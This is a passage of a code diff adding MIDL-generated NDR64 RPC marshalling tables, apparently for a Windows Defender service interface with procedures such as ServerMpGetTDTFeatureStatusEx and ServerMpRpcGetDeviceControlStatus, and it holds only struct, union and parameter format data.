+ 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1921, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1914_t __midl_frag1914 = +{ +/* Struct_4178_t */ + { + /* Struct_4178_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4178_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag1913_t __midl_frag1913 = +{ +/* *Struct_4178_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1914 +}; + +static const __midl_frag1912_t __midl_frag1912 = +{ +/* Proc194_ServerMpRpcGetDeviceControlStatus */ + { + /* Proc194_ServerMpRpcGetDeviceControlStatus */ /* procedure Proc194_ServerMpRpcGetDeviceControlStatus */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1914, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1908_t __midl_frag1908 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 44 /* 0x2c */ + } +}; + +static const __midl_frag1907_t __midl_frag1907 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1908 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1906_t __midl_frag1906 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag1905_t __midl_frag1905 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1906 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1904_t __midl_frag1904 = +{ +/* Struct_4142_t */ + { + /* Struct_4142_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4142_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1907 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1903_t __midl_frag1903 = +{ +/* Struct_4142_t */ + { + /* Struct_4142_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4142_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1904 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1902_t __midl_frag1902 = +{ +/* *Struct_4142_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1903 +}; + +static const __midl_frag1896_t __midl_frag1896 = +{ +/* Struct_4118_t */ + { + /* Struct_4118_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4118_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1907 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1895_t __midl_frag1895 = +{ +/* Struct_4118_t */ + { + /* Struct_4118_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4118_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1896 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1894_t __midl_frag1894 = +{ +/* *Struct_4118_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1895 +}; + +static const __midl_frag1891_t __midl_frag1891 = +{ +/* Struct_4086_t */ + { + /* Struct_4086_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4086_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1890_t __midl_frag1890 = +{ +/* Struct_4086_t */ + { + /* Struct_4086_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4086_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1891 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1889_t __midl_frag1889 = +{ +/* *Struct_4086_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1890 +}; + +static const __midl_frag1886_t __midl_frag1886 = +{ +/* Struct_4066_t */ + { + /* Struct_4066_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4066_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1885_t __midl_frag1885 = +{ +/* Struct_4066_t */ + { + /* Struct_4066_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4066_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1886 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1884_t __midl_frag1884 = +{ +/* *Struct_4066_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1885 +}; + +static const __midl_frag1883_t __midl_frag1883 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + } +}; + +static const __midl_frag1879_t __midl_frag1879 = +{ +/* Struct_4044_t */ + { + /* Struct_4044_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4044_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1883, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1878_t __midl_frag1878 = +{ +/* *Struct_4044_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1879 +}; + +static const __midl_frag1877_t __midl_frag1877 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1876_t __midl_frag1876 = +{ +/* union_3992 */ + { + /* union_3992 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 5 /* 0x5 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1878, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag1884, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag1889, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag1894, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag1902, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1875_t __midl_frag1875 = +{ +/* Struct_4158_t */ + { + /* Struct_4158_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4158_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1876 + }, + { + /* Struct_4158_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1874_t __midl_frag1874 = +{ +/* *Struct_4158_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1875 +}; + +static const __midl_frag1873_t __midl_frag1873 = +{ +/* **Struct_4158_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1874 +}; + +static const __midl_frag1871_t __midl_frag1871 = +{ +/* Proc193_ServerMpGetTDTFeatureStatusEx */ + { + /* Proc193_ServerMpGetTDTFeatureStatusEx */ /* procedure Proc193_ServerMpGetTDTFeatureStatusEx */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1873, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1867_t __midl_frag1867 = +{ +/* Struct_3944_t */ + { + /* Struct_3944_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3944_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1866_t __midl_frag1866 = +{ +/* *Struct_3944_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1867 +}; + +static const __midl_frag1864_t __midl_frag1864 = +{ +/* union_3928 */ + { + /* union_3928 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1866, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1863_t __midl_frag1863 = +{ +/* Struct_3958_t */ + { + /* Struct_3958_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3958_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 